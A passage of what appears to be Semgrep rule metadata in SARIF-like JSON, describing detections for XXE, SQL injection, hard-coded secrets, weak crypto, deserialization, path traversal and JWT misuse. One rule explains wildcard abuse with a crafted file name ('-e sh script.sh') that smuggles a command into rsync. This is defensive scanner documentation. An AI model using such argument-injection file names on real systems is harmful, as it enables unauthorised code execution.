Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint","id":"go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint","name":"go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Add \"encryption: $Y.BucketEncryption.KMS_MANAGED\" or \"encryption: $Y.BucketEncryption.S3_MANAGED\" to the bucket props for Bucket construct $X"},"help":{"markdown":"Add \"encryption: $Y.BucketEncryption.KMS_MANAGED\" or \"encryption: $Y.BucketEncryption.S3_MANAGED\" to the bucket props for Bucket construct $X\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html)\n","text":"Add \"encryption: $Y.BucketEncryption.KMS_MANAGED\" or \"encryption: $Y.BucketEncryption.S3_MANAGED\" to the bucket props for Bucket construct $X"},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption","id":"typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption","name":"typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the insecure DES/3DES encryption algorithm(s) were detected. DES is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly."},"help":{"markdown":"The use of the insecure DES/3DES encryption algorithm(s) were detected. DES is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the insecure DES/3DES encryption algorithm(s) were detected. DES is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des","id":"swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des","name":"swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.jpa-sqli.jpa-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.jpa-sqli.jpa-sqli","id":"java.spring.security.jpa-sqli.jpa-sqli","name":"java.spring.security.jpa-sqli.jpa-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.jpa-sqli.jpa-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Onfido live API Token detected"},"help":{"markdown":"Onfido live API Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token)\n - [https://documentation.onfido.com/api/latest/#api-tokens](https://documentation.onfido.com/api/latest/#api-tokens)\n","text":"Onfido live API Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token","id":"generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token","name":"generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XMLDecoder should not be used to parse untrusted data. Deserializing user input can lead to arbitrary code execution. Use an alternative and explicitly disable external entities. See https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html for alternatives and vulnerability prevention."},"help":{"markdown":"XMLDecoder should not be used to parse untrusted data. Deserializing user input can lead to arbitrary code execution. Use an alternative and explicitly disable external entities. See https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html for alternatives and vulnerability prevention.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xml-decoder.xml-decoder)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n","text":"XMLDecoder should not be used to parse untrusted data. Deserializing user input can lead to arbitrary code execution. Use an alternative and explicitly disable external entities. See https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html for alternatives and vulnerability prevention."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xml-decoder.xml-decoder","id":"java.lang.security.audit.xml-decoder.xml-decoder","name":"java.lang.security.audit.xml-decoder.xml-decoder","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xml-decoder.xml-decoder"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","id":"javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","name":"javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an AWS Redshift configuration with a SSL disabled. To fix this, set your `require_ssl` to `\"true\"`."},"help":{"markdown":"Detected an AWS Redshift configuration with a SSL disabled. To fix this, set your `require_ssl` to `\"true\"`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected an AWS Redshift configuration with a SSL disabled. To fix this, set your `require_ssl` to `\"true\"`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration","id":"terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration","name":"terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda","id":"python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda","name":"python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Mako templates do not provide a global HTML escaping mechanism. This means you must escape all sensitive data in your templates using '| u' for URL escaping or '| h' for HTML escaping. If you are using Mako to serve web content, consider using a system such as Jinja2 which enables global escaping."},"help":{"markdown":"Mako templates do not provide a global HTML escaping mechanism. This means you must escape all sensitive data in your templates using '| u' for URL escaping or '| h' for HTML escaping. If you are using Mako to serve web content, consider using a system such as Jinja2 which enables global escaping.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.mako-templates-detected.mako-templates-detected)\n - [https://docs.makotemplates.org/en/latest/syntax.html#expression-escaping](https://docs.makotemplates.org/en/latest/syntax.html#expression-escaping)\n - [https://jinja.palletsprojects.com/en/2.11.x/intro/#](https://jinja.palletsprojects.com/en/2.11.x/intro/#)\n","text":"Mako templates do not provide a global HTML escaping mechanism. This means you must escape all sensitive data in your templates using '| u' for URL escaping or '| h' for HTML escaping. If you are using Mako to serve web content, consider using a system such as Jinja2 which enables global escaping."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.mako-templates-detected.mako-templates-detected","id":"python.lang.security.audit.mako-templates-detected.mako-templates-detected","name":"python.lang.security.audit.mako-templates-detected.mako-templates-detected","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.mako-templates-detected.mako-templates-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for redefinitions of functions that check TLS/SSL certificate verification. This can lead to vulnerabilities, as simple errors in the code can result in lack of proper certificate validation. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"help":{"markdown":"Checks for redefinitions of functions that check TLS/SSL certificate verification. This can lead to vulnerabilities, as simple errors in the code can result in lack of proper certificate validation. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification)\n - [https://stackoverflow.com/questions/4072585/disabling-ssl-certificate-validation-in-spring-resttemplate](https://stackoverflow.com/questions/4072585/disabling-ssl-certificate-validation-in-spring-resttemplate)\n - [https://stackoverflow.com/questions/35530558/how-to-fix-unsafe-implementation-of-x509trustmanager-in-android-app?rq=1](https://stackoverflow.com/questions/35530558/how-to-fix-unsafe-implementation-of-x509trustmanager-in-android-app?rq=1)\n","text":"Checks for redefinitions of functions that check TLS/SSL certificate verification. This can lead to vulnerabilities, as simple errors in the code can result in lack of proper certificate validation. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification","id":"problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification","name":"problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The return value of `$VAR.$NPOS_CALL(...)` has been modified so it can never equal `std::string::npos`. This could lead to an `std::out_of_range` exception being thrown or trigger an out-of-bounds read if the position is used as an array index."},"help":{"markdown":"The return value of `$VAR.$NPOS_CALL(...)` has been modified so it can never equal `std::string::npos`. This could lead to an `std::out_of_range` exception being thrown or trigger an out-of-bounds read if the position is used as an array index.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.std-string-npos.std-string-npos)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/CTR55-CPP.+Do+not+use+an+additive+operator+on+an+iterator+if+the+result+would+overflow](https://wiki.sei.cmu.edu/confluence/display/cplusplus/CTR55-CPP.+Do+not+use+an+additive+operator+on+an+iterator+if+the+result+would+overflow)\n","text":"The return value of `$VAR.$NPOS_CALL(...)` has been modified so it can never equal `std::string::npos`. This could lead to an `std::out_of_range` exception being thrown or trigger an out-of-bounds read if the position is used as an array index."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.std-string-npos.std-string-npos","id":"cpp.lang.security.strings.std-string-npos.std-string-npos","name":"cpp.lang.security.strings.std-string-npos.std-string-npos","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.std-string-npos.std-string-npos"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi","id":"python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi","name":"python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'."},"help":{"markdown":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.nan-injection.nan-injection)\n - [https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868](https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868)\n - [https://blog.bitdiscovery.com/2021/12/python-nan-injection/](https://blog.bitdiscovery.com/2021/12/python-nan-injection/)\n","text":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'."},"helpUri":"https://semgrep.dev/r/python.django.security.nan-injection.nan-injection","id":"python.django.security.nan-injection.nan-injection","name":"python.django.security.nan-injection.nan-injection","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.nan-injection.nan-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a psycopg2 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements by creating a 'sql.SQL' string. You can also use the pyformat binding style to create parameterized queries. For example: 'cur.execute(SELECT * FROM table WHERE name=%s, user_input)'"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a psycopg2 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements by creating a 'sql.SQL' string. You can also use the pyformat binding style to create parameterized queries. For example: 'cur.execute(SELECT * FROM table WHERE name=%s, user_input)'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli)\n - [https://www.psycopg.org/docs/sql.html](https://www.psycopg.org/docs/sql.html)\n","text":"Detected string concatenation with a non-literal variable in a psycopg2 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements by creating a 'sql.SQL' string. You can also use the pyformat binding style to create parameterized queries. For example: 'cur.execute(SELECT * FROM table WHERE name=%s, user_input)'"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli","id":"python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli","name":"python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of the wildcard character in a system call that spawns a shell. This subjects the wildcard to normal shell expansion, which can have unintended consequences if there exist any non-standard file names. Consider a file named '-e sh script.sh' -- this will execute a script when 'rsync' is called. See https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt for more information."},"help":{"markdown":"Detected use of the wildcard character in a system call that spawns a shell. This subjects the wildcard to normal shell expansion, which can have unintended consequences if there exist any non-standard file names. Consider a file named '-e sh script.sh' -- this will execute a script when 'rsync' is called. See https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.system-wildcard-detected.system-wildcard-detected)\n - [https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt](https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt)\n","text":"Detected use of the wildcard character in a system call that spawns a shell. This subjects the wildcard to normal shell expansion, which can have unintended consequences if there exist any non-standard file names. Consider a file named '-e sh script.sh' -- this will execute a script when 'rsync' is called. See https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt for more information."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.system-wildcard-detected.system-wildcard-detected","id":"python.lang.security.audit.system-wildcard-detected.system-wildcard-detected","name":"python.lang.security.audit.system-wildcard-detected.system-wildcard-detected","properties":{"precision":"very-high","tags":["CWE-155: Improper Neutralization of Wildcards or Matching Symbols","LOW CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.system-wildcard-detected.system-wildcard-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the 